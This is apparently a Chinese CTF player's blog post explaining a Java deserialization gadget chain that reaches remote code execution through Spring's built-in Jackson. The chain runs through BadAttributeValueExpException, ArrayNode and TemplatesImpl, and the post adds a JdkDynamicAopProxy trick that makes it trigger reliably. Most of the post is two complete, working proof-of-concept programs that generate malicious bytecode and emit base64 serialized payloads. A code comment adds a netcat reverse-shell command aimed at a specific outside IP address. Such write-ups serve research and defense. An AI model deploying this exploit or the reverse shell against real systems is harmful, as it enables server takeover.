Spring-Jackson原生链以及解决链子不稳定的问题

发布于 2024-08-15  884 次阅读


Spring-Jackson原生链

去年阿里云CTF bypassit1 爆出来一个链子,只需要Spring内置的Jackson依赖就可以实现RCE而不依赖任何其他外部库。

在Jackson通过writeValueAsString将对象转为JSON字符串的时候,获取对象属性的时候会自动调用其getter方法。
演示一个完整的序列化和返序列化JSON的过程:

package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;

@SuppressWarnings("ALL")
public class Main {
    public static void main(String[] args) throws Exception {
        cat cat1 = new cat(new catinfo("JiaFei","Jerry",1));
        System.out.println("原本的对象:"+cat1);
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

        String jsonData = mapper.writeValueAsString(cat1);
        System.out.println("序列化的数据:"+jsonData);
//
        cat cat2 = mapper.readValue(jsonData, cat.class);
        System.out.println("反序列化后的数据:"+cat2);

    }
}

class animal {
    public String name;
    public int sex;

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getSex() {
        System.out.println("getSex");
        return sex;
    }

    public void setSex(int sex) {
        System.out.println("setSex");
        this.sex = sex;
    }

    public animal() {
        System.out.println("animal无参构造");
    }

    public animal(String name, int sex) {
        System.out.println("animal带参构造");
        this.name = name;
        this.sex = sex;
    }

    @Override
    public String toString() {
        return "animal{" +
                "name='" + name + '\'' +
                ", sex=" + sex +
                '}';
    }
}

class catinfo extends animal{
    public String kind;

    @Override
    public String toString() {
        return "catinfo{" +
                "kind='" + kind + '\'' +
                ", name='" + name + '\'' +
                ", sex=" + sex +
                '}';
    }

    public String getKind() {
        System.out.println("getKind");
        return kind;
    }

    public void setKind(String kind) {
        System.out.println("setKind");
        this.kind = kind;
    }

    public catinfo(String kind, String name, int sex) {
        super(name, sex);
        System.out.println("catinfo带参构造");
        this.kind = kind;
    }
    public catinfo() {
        System.out.println("catinfo无参构造");
    }
}
class cat {
    public cat() {
        System.out.println("cat无参构造");
    }
    public animal info;

    public animal getInfo() {
        System.out.println("getInfo");
        return info;
    }

    public void setInfo(animal info) {
        System.out.println("setInfo");
        this.info = info;
    }

    public cat(animal cati) {
        System.out.println("cat带参构造");
        this.info = cati;
    }

    @Override
    public String toString() {
        return "cat{" +
                "info=" + info +
                '}';
    }
}

image_mak
如果我们能控制靶机JSON序列化一个恶意对象,就可以做到调用任意现有类的所有属性的getter方法
而在templatesImpl的一个getter方法getOutputProperties中:
image_mak
有newTransformer方法,也就是会继续往下执行到defineClass来创建任意类,达到我们的目的。
因此现在要想办法找到从一个类的readObject方法作为入口,来执行JSON序列化任意对象。

ArrayNode是Jackson库中的一个类,用于表示JSON数组。
继承了祖先类BaseJsonNode,而BaseJsonNode重写了toString方法
image_mak
该toString会把json数组中的每一个对象执行JSON序列化,返回String类型
而BadAttributeValueExpException的readObject方法中,可以执行一个可控对象的toString
image_mak
因此我们只需要将恶意的templatesImpl传入ArrayNode数组,将数组设为BadAttributeValueExpException的属性val,去反序列化该BadAttributeValueExpException对象即可。
看到BadAttributeValueExpException的构造方法:
image_mak
会把我们传入的对象进行toString再传给val。为了让val获取原始的ArrayNode对象,需要使用反射来构造BadAttributeValueExpException对象

POC:

package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();
    }

   public static byte[][] generateEvilBytes() throws Exception{
       ClassPool cp = ClassPool.getDefault();
       cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
       CtClass cc = cp.makeClass("evil");
       String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
       cc.makeClassInitializer().insertBefore(cmd);
       cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
       byte[][] evilbyte = new byte[][]{cc.toBytecode()};
       return evilbyte;

   }

    public  static <T> void setValue(Object obj,String fname,T f) throws Exception{
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,f);
    }

    public static void main(String args[]) throws Exception{
        TemplatesImpl tmp = new TemplatesImpl();
        setValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setValue(tmp,"_name","123");
        setValue(tmp,"_bytecodes",generateEvilBytes());

        ObjectMapper objmapper = new ObjectMapper();
        ArrayNode arrayNode =objmapper.createArrayNode();
        arrayNode.addPOJO(tmp);

        BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
        f.setAccessible(true);
        f.set(bave,arrayNode);

        serialize(bave);
        unserialize();

    }
}

在进行serialize(bave);的时候报了个错
image_mak
跟进一下错误,是因为在writeObject序列化ArrayNode对象的时候,由于祖先类BaseJsonNode有writeReplace方法会替代原始的对象序列化方法,序列化成其他格式的数据,而在这过程中抛出了异常。
只需要把包内的writeReplace方法名改一改就可以了,直接用插件JarEditor
https://github.com/Liubsyy/JarEditor
这样解决了报错,并且保证了我们序列化的是原始构造的对象。
运行POC,成功弹计算器
image_mak

解决链子不稳定的问题

参考了派神的文章
https://pankas.top/2023/10/04/%E5%85%B3%E4%BA%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADjackson%E9%93%BE%E5%AD%90%E4%B8%8D%E7%A8%B3%E5%AE%9A%E9%97%AE%E9%A2%98/

在反序列化时,有时会在执行命令之前报出这个空指针的错
image_mak
这是因为在BaseJsonNode.toString序列化POJONode的时候,调用getter方法的顺序是随机的。由于getter方法是通过反射调用,而反射机制中getDeclaredMethod获取的方法数组内,方法的顺序是随机的
这就导致反序列化时,执行TemplatesImpl对象的getter方法的顺序是不确定的,如果在执行getOutPutProperty前,先执行了getStylesheetDOM方法
image_mak
这时候_sdom为null会导致报错,中断整个链子的反序列化过程。
我们希望最先执行的getter方法是getOutPutProperty,怎么实现呢

看到TemplatesImpl实现的接口Templates
image_mak
只有newTransformer和getOutputProperties方法
如果我们能让一个代理对象以这个接口去动态代理我们的TemplatesImpl,将代理对象传入链子来进行JSON的序列化,那么JSON序列化就只能从这个接口中获取getter方法,也就是只能获取到getOutputProperties,实现目的

现在只需要找到一个依赖中的代理处理(handler)类,它的invoke可以执行被代理的方法本身即可。

找到org.springframework.aop.framework.JdkDynamicAopProxy,实现了InvocationHandler接口
image_mak
看到invoke方法,这里有两处invokeJoinpointUsingReflection方法执行
image_mak
image_mak
跟进,看到method.invoke方法执行
image_mak
参数就是invokeJoinpointUsingReflection方法里的target,method,args
image_mak
调试得到可以直接执行的是下面那一个invokeJoinpointUsingReflection方法
给的target参数是targetSource.getTarget()
targetSource是this.advised.targetSource
image_mak
advised是一个AdvisedSupport类的对象
image_mak
AdvisedSupport类中,有setTarget和setTargetSource
可以利用setTarget把targetSource设为一个以参数构造的SingletonTargetSource类对象
image_mak
跟进这个类的构造方法
image_mak
可以看到getTarget就换返回target对象,在之前的invokeJoinpointUsingReflection方法中作为target参数,
在JdkDynamicAopProxy类的构造器中,接受AdvisedSupport类型的参数设为advised
因此我们只需要构造AdvisedSupport对象,执行其setTarget方法传入我们的TemplatesImpl对象即可,然后再将AdvisedSupport用于传入JdkDynamicAopProxy构造方法,即可构造出动态代理需要的handler

AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);

把使用此handler的代理对象传入BadAttributeValueExpException对象即可实现稳定触发。完整POC:

package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Test {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();
    }

    public static byte[][] generateEvilBytes() throws Exception{
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //nc -e /bin/sh 121.199.39.4 3000
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;

    }

    public  static <T> void setValue(Object obj,String fname,T f) throws Exception{
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,f);
    }

    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }

    public static void main(String args[]) throws Exception{
        //构造恶意TemplatesImpl
        TemplatesImpl tmp = new TemplatesImpl();
        setValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setValue(tmp,"_name","123");
        setValue(tmp,"_bytecodes",generateEvilBytes());

        //不稳定的触发
//        ObjectMapper objmapper = new ObjectMapper();
//        ArrayNode arrayNode =objmapper.createArrayNode();
//        arrayNode.addPOJO(tmp);

//        BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
//        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
//        f.setAccessible(true);
//        f.set(bave,arrayNode);

//        serialize(bave);
//        System.out.println(getb64(bave));
//        System.out.println(getb64(bave).length());
//        unserialize();

        //稳定触发
        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(tmp);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

        ObjectMapper objmapper = new ObjectMapper();
        ArrayNode arrayNode =objmapper.createArrayNode();
        arrayNode.addPOJO(proxy);

        BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
        f.setAccessible(true);
        f.set(bave,arrayNode);

        serialize(bave);
        System.out.println(getb64(bave));
        System.out.println(getb64(bave).length());
        unserialize();

    }
}
A web ctfer from 0RAYS
最后更新于 2024-08-24